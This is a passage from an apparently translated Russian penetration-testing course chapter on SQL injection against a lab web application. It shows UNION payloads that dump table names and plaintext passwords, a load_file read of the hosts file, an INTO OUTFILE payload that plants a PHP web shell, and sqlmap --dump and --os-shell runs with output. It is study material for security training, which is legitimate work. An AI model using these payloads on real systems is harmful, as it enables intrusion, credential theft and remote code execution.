Этот запрос указывает базе данных на сортировку результатов на основе значений в первом столбце. Если в запросе есть хотя бы один столбец, запрос действителен и страница будет отображаться без ошибок. Можно отправить несколько запросов, каждый раз увеличивая условие order by, пока запрос не выдаст ошибку, указывающую, что максимальное количество столбцов, возвращаемых данным запросом, было превышено. Помните, что запрос может выбрать все столбцы в таблице или только подмножество столбцов. Следует полагаться на этот метод проб и ошибок, если нет доступа к исходному запросу.

Поскольку нужно будет повторять номер столбца произвольное количество раз, необходимо автоматизировать запросы с помощью инструмента Burp Suite Repeater.

Для этого необходимо сначала запустить Burp Suite, отключить перехват (Intercept) и обратиться к URL-адресу для цели Windows. В Proxy > HTTP history должны увидеть запрос, который хотим повторить:

Column_Number_Enumeration_1.png

Рисунок 11: Просмотр HTTP History в Burp Suite

Затем щелкнем правой кнопкой мыши по запросу и выберем Send to Repeater. Теперь запрос должен отображаться на вкладке Repeater.

Column_Number_Enumeration_2.png

Рисунок 12: Просмотр запроса в Repeater

Обратите внимание, что запрос был закодирован URL-адресом и отображается как "id=1%20order%20by%201". Это не должно повлиять на запрос. Можно нажать Send, чтобы отправить запрос:

Column_Number_Enumeration_3.png

Рисунок 13: Использование Repeater

Ответ выглядит нормально. Можно использовать поле search под панелью ответа для поиска фразы "Error" и проверки отсутствия совпадений в теле ответа:

Column_Number_Enumeration_4.png

Рисунок 14: Результаты Repeater

Затем можно увеличивать условие order_by и отправлять запрос, пока не получим сообщение об ошибке. Можно использовать поле search под панелью ответа, чтобы подсветить ошибку в ответе:

Column_Number_Enumeration_5.png

Рисунок 15: Использование поля поиска в Burp Suite

Поскольку условие order by вызвало ошибку на четвертой итерации, понятно, что запрос может вернуть набор результатов, содержащий только три столбца.

Понимание компоновки вывода

Теперь, когда известно, сколько столбцов в таблице, можно использовать эту информацию для извлечения дополнительных данных с помощью оператора объединения UNION. Union'ы позволяют добавить второй оператор выбора к исходному запросу, расширяя возможности, но каждый оператор выбора должен возвращать одинаковое количество столбцов.

На основе прошлого сбора информации известно, что запрос выбирает три столбца. Однако на веб-странице отображаются только две колонки. Следующий шаг - определить, какие столбцы отображаются. Если предстоит использовать union для извлечения полезных данных, следует убедиться, что данные будут отображены.

необходимо лучше понять получаемый вывод, чтобы можно было начать осмысленное извлечение содержимого базы данных. Во-первых, разберемся, какие столбцы отображаются на странице. Для этого воспользуемся UNION. Можно указать буквальные значения вместо поиска значений из таблицы. Поскольку есть три столбца, добавим в пэйлоад "union all select 1, 2, 3". Это новое состояние выбора вернет одну строку с тремя столбцами со значениями 1, 2 и 3. Пэйлоад теперь выглядит следующим образом:

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, 3
Листинг 33 - Обновление пэйлоада для использовнаия union'а

На странице отображается положение различных столбцов, как показано ниже:

Understanding_the_Layout_1.png

Рисунок 16: Просмотр результатов Union пэйлоада

Видно, что первый столбец не отображается, второй столбец отображается в поле name, а третий столбец отображается в поле Comment. В поле Comment больше места, так что это логическое место для выходных данных будущего эксплойта.

Если что-то из этого неясно, сейчас самое время снова напрямую подключиться к базе данных и поиграть с этими запросами. Не нужно быть опытным администратором базы данных, чтобы использовать SQL-инъекцию, но чем больше вы знакомы с SQL и тем, что делают эти запросы, тем проще будет перейти от сообщений об ошибках SQL к успешному использованию уязвимостей SQL-инъекций.

Извлечение информации из базы данных

Теперь можно начать извлекать информацию из базы данных. В следующих примерах используются команды, специфичные для MariaDB. Однако большинство других баз данных предлагают аналогичные функции с немного другим синтаксисом. Независимо от того, на какое программное обеспечение баз данных нацелена атака, лучше всего понимать команды для конкретной платформы.

Например, чтобы вывести версию MariaDB, можно использовать этот URL:

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version
Листинг 34 - Пэйлоад SQL-инъекции для извлечения версии базы данных

Это должно вывести цифру "2" в поле имени и номер версии базы данных в поле комментария:

Extracting_Data_1.png

Рисунок 17: Извлечение номера версии MariaDB

Хорошо. Похоже, это работает. Затем выведем текущего пользователя базы данных с помощью этого запроса:

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()
Листинг 35 - Пэйлоад SQL-инъекции для извлечения пользователя базы данных

Этот запрос показывает, что используется root-пользователь для запросов к базе данных:

Extracting_Data_2.png

Рисунок 18: Извлечение текущего пользователя базы данных

Можно собрать информацию о таблицах базы данных и структуры столбцов с помощью . Information schema хранит информацию о базе данных, такую как имена таблиц и столбцов. Можно использовать это для получения макета базы данных, чтобы была возможность создавать более эффективные пэйлоады для извлечения конфиденциальных данных. Запрос для этого будет выглядеть примерно так:

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables
Листинг 36 - Пэйлоад SQL-инъекции для извлечения названий таблиц

Это должно вывести много данных, большинство из которых ссылается на информацию об объектах по умолчанию в MariaDB. Он также будет включать имена таблиц, но нужно будет прокрутить вывод, чтобы найти их.

Extracting_Data_3.png

Рисунок 19: Извлечение имен таблиц из базы данных

Особенно интересно выглядит таблица users. Выберем эту таблицу и получим имена столбцов с помощью следующего запроса:

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_s chema.columns where table_name='users'
Листинг 37 - Пэйлоад SQL-инъекции для извлечения столбцов таблицы

Это выводит все имена столбцов для таблицы users:

Extracting_Data_4.png

Рисунок 20: Извлечение имен столбцов из базы данных

Вооружившись этой информацией, можно извлечь имена пользователей и пароли из таблицы. Известно, что исходный запрос выбирает три столбца, а на веб-странице отображаются второй и третий столбцы. Если обновить union пэйлоад, получится отобразить имена пользователей в столбце два и пароли в столбце три.

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users
Листинг 38 - Пэйлоад SQL-инъекции для извлечения таблицы users

Это выведет имена пользователей базы данных в поле имени и пароли в поле комментариев:

Extracting_Data_5.png

Рисунок 21: Извлечение содержимого таблицы users

Превосходно. Получены имена пользователей и пароли в открытом виде. Можно проверить их, войдя на страницу администратора.

Теперь можно взглянуть на исходный код, чтобы проверить, что было сделано с помощью тестирования методом черного ящика:

PHP:
36 <?php
37   include "database.php";
38   if (isset($_GET['id'])) {
39         $sql = "SELECT id, name, text FROM feedback WHERE id=". $_GET['id'];
40         $result = $conn->query($sql);
41         if (!$result) {
42             trigger_error('An error occured: ' . $conn->error);
43         } else if ($result->num_rows > 0) {
44             while($row = $result->fetch_assoc()) {
45                 echo "<tr><td> " . $row["name"]. "</td><td>" . $row["text"]. "</td></tr>";
46             }
47         } else { echo "No results. Specify an id."; }
48      } else {
49         echo "No results. Specify an id in your URL like ?id=1.";
50   }
51 ?>
Листинг 39 - Отрывок кода из debug.php

Уязвимый код, который приводит к SQL-инъекции, находится в строке 39 листинга 39. Точка инъекции находится в конце запроса в условии "WHERE", что упрощает использование "UNION" пэйлоада. Результаты запроса извлекаются, а затем записываются для отображения в строке 45. Обратите внимание, что, хотя в запрос включены три столбца, отображаются только два из них. Вот почему были использованы второй и третий столбцы для извлечения данных из другой таблицы.

От SQL-инъекции к выполнению кода

Посмотрим, как далеко получится продвинуть эту уязвимость. В зависимости от операционной системы, привилегий служб и разрешений файловой системы уязвимости SQL-инъекций могут использоваться для чтения и записи файлов в базовой операционной системе. Запись тщательно созданного файла, содержащего код PHP, в корневой каталог веб-сервера, в последствии может быть использована для выполнения кода.

Во-первых, посмотрим, можем ли прочитать файл с помощью функции load_file:

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
Листинг 40 - Пэйлоад SQL-инъекции с использованием функции load_file

Это должно вывести содержимое файла hosts:

From_SQL_Injection_to_Code_Execution_1.png

Рисунок 22: Использование функции загрузки файла

Затем попытаемся использовать функцию INTO OUTFILE для создания вредоносного файла PHP в корневом каталоге веб-сервера. Основываясь на сообщениях об ошибках, которые возникали, должно быть известно расположение корневого веб-сайта. Попытаемся написать простой однострочник PHP, похожий на тот, который использовался в примере с LFI:

Код:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
Листинг 41 - Пэйлоад SQL-инъекции для PHP-шелла с использованием функции OUTFILE​

Если это удастся, файл следует поместить в корневой каталог:

From_SQL_Injection_to_Code_Execution_2.png

Рисунок 23: Использование SQL-инъекции для написания PHP-шелла

Эта команда выдает сообщение об ошибке, но это не обязательно означает, что создание файла не удалось. Попробуем получить доступ к недавно созданной странице backdoor.php с параметром cmd, например ipconfig:

From_SQL_Injection_to_Code_Execution_3.png

Рисунок 24: Использование командного шелла Backdoor PHP

Превосходно. Теперь уязвимость SQL-инъекции стала уязвимостью RCE (выполнение кода на сервере). Можно легко развить эту атаку до полного доступа к шеллу, установив веб-шелл.

Автоматизация SQL-инъекций

Процесс использования SQL-инъекции, которые применялись, можно автоматизировать с помощью нескольких инструментов, предустановленных в Kali Linux. Одним из наиболее примечательных инструментов является , который можно использовать для выявления и эксплуатации уязвимостей SQL-инъекций в отношении различных типов баз данных.

Воспользуемся sqlmap на имеющемся примере веб-приложения. Установим URL-адрес, который хотим сканировать, с помощью опции -u и укажем параметр для тестирования с помощью опции -p:

Bash:
kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id"
...
[13:53:45] [INFO] heuristic (basic) test shows that GET parameter 'id' might be  injectable (possible DBMS: 'MySQL')
[13:53:45] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be  vulnerable to cross-site scripting (XSS) attacks
[13:53:45] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[13:53:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
…
sqlmap identified the following injection points with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 8867=8867

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 6734 FROM(SELECT COUNT(*),CONCAT(0x71716a6a71,(SELECT (ELT(6734=6734,1))),0x716a6b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71716a6a71,0x6768746c4a4b576968507871586a764c4b4352594367685371725045706f6d456a54727a4b4a686d,0x716a6b7171)-- peGa
---
[13:54:11] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.37, PHP 7.0.33
back-end DBMS: MySQL >= 5.0
[13:54:11] [INFO] fetched data logged to text files under '/home/kali/.sqlmap/output/10.11.0.22'
Листинг 42 - Пример использования sqlmap

Sqlmap отправит несколько запросов, чтобы проверить, уязвим ли параметр для SQL-инъекции. Он также попытается определить, какое программное обеспечение базы данных используется, чтобы он мог скорректировать атаки на это программное обеспечение. В данном случае было обнаружено четыре различных метода эксплуатации уязвимости. Также перечислены пэйлоады для каждого метода. Даже когда sqlmap выполняет работу за нас, наличие этих примеров пэйлоадов помогает понять, как он проэксплуатировал уязвимость.

Теперь можно использовать sqlmap для автоматизации извлечения данных из базы данных. Снова запустим sqlmap с параметром --dbms, чтобы установить "MySQL" в качестве типа сервера, и параметра --dump, чтобы выгрузить содержимое всех таблиц из базы данных. Sqlmap поддерживает несколько внутренних баз данных в флаге --dbms, но не делает различий между MariaDB и MySQL. Указание значения "MySQL" подойдет для этого примера.

Bash:
kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --dump
...
Database: webappdb
Table: feedback
[2 entries]
+----+----------------------------------------------+------+
| id | text | name |
+----+----------------------------------------------+------+
| 1 | Great tacos today! | Jake |
| 2 | I would eat tacos here every day if I could! | John |
+----+----------------------------------------------+------+

[13:56:58] [INFO] table 'webappdb.feedback' dumped to CSV file '/home/kali/.sqlmap/output/10.11.0.22/dump/webappdb/feedback.csv'
[13:56:58] [INFO] fetching columns for table 'users' in database 'webappdb'
[13:56:58] [INFO] fetching entries for table 'users' in database 'webappdb'
Database: webappdb
Table: users
[2 entries]
+----+----------+--------------+
| id | username | password |
+----+----------+--------------+
| 1 | admin | p@ssw0rd |
| 2 | jigsaw | footworklure |
+----+----------+--------------+

[13:56:58] [INFO] table 'webappdb.users' dumped to CSV file '/home/kali/.sqlmap/output/10.11.0.22/dump/webappdb/users.csv'
[13:56:58] [INFO] fetched data logged to text files under '/home/kali/.sqlmap/output/10.11.0.22'
Листинг 43 - Использование sqlmap для дампа содержимого базы данных

Согласно выводу в Листинге 43, sqlmap смогла выгрузить содержимое всей базы данных. Помимо отображения содержимого в окне терминала, sqlmap также создал CSV-файл с выгруженным содержимым.

Sqlmap имеет много других функций, таких как возможность попытки обхода брандмауэра веб-приложений (WAF) и выполнение сложных запросов для автоматизации полного захвата сервера. Например, при использовании параметра os-shell будет предпринята попытка автоматически загрузить и выполнить удаленную командный шелл в целевой системе.

Можно использовать эту возможность, запустив sqlmap с параметром --os-shell для запуска шелла в системе:

Bash:
kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell
...
[14:00:49] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[14:00:49] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.11.0.22:80/tmpuwryd.php
[14:00:49] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.11.0.22:80/tmpbtxja.php
[14:00:49] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---

Windows IP Configuration


Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix . : localdomain
    Link-local IPv6 Address . . . . . : fe80::c5a0:cbd8:9e03:3f85%7
    IPv4 Address. . . . . . . . . . . : 10.11.0.22
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 10.11.0.2

Ethernet adapter Bluetooth Network Connection:

    Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix . :
---
os-shell>
Листинг 44 - Использование sqlmap для получения шелла в системе

Как только sqlmap устанавливает шелл, можно запускать команды на сервере и просматривать выходные данные, как показано в листинге 44. Этот шелл может быть несколько медленным, но может обеспечить эффективную отправную точку для доступа к серверу.

Обратите внимание, что sqlmap не допускается на экзамене OSCP. Однако рекомендуется попрактиковаться с ним в лабораторных условиях и на лабораторном компьютере с Windows 10. Рассмотрите возможность его использования в сочетании с такими инструментами, как Burp и Wireshark, чтобы зафиксировать, что делает инструмент, а затем попытаться воспроизвести атаки вручную. Часто это очень эффективный метод обучения, и его не следует упускать из виду.

Дополнительный материал

Лабораторный компьютер Windows 10 включает дополнительное веб-приложение для отработки уязвимостей XSS и SQL-инъекций. Приложение написано на Java, использует и работает на порту 9090. Приложение можно запустить с помощью следующей команды:

Код:
C:\tools\web_attacks> java -jar gadgets-1.0.0.jar
...
2019-06-13 10:29:36.962 INFO 4976 --- [ main]
com.pwk.webapp.GadgetsApplication : Starting GadgetsApplication on DESKTOP-IPD21BB wit
(C:\tools\web_attacks\gadgets-1.0.0.jar started by admin in C:\tools\web_attacks)
...
2019-06-13 10:29:42.680 INFO 4976 --- [ main]
o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 9090 (http) with
2019-06-13 10:29:42.759 INFO 4976 --- [ main]
com.pwk.webapp.GadgetsApplication : Started GadgetsApplication in 7.047 seconds (JVM r
Листинг 45 - Запуск дополнительного приложения в Windows

После запуска можно получить к нему доступ на порту 9090:

Extra_Miles_1.png

Рисунок 25: Просмотр бонусного приложения

Здесь не будут рассматриваться все уязвимости приложения, хотя оно содержит несколько уязвимостей XSS и SQL-инъекций. Чтобы закрыть приложение, закройте командное окно или используйте клавиши Ctrl+C.

Заключение

В этой главе основной акцент сделан на выявлении и сборе информации о наиболее распространенных уязвимостях веб-приложений. Также проэкспуалитровали несколько распространенных уязвимостей веб-приложений, используя различные методы, включая слабые места консоли администратора, межсайтовые скрипты, методы directory traversal, LFI, RFI и SQL-инъекции. Эти векторы атаки являются основными строительными блоками, которые будут использоваться для создания более сложных атак.
 

Вложения

  • From_SQL_Injection_to_Code_Execution_1.png
    From_SQL_Injection_to_Code_Execution_1.png
    44,8 КБ · Просмотры: 8
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!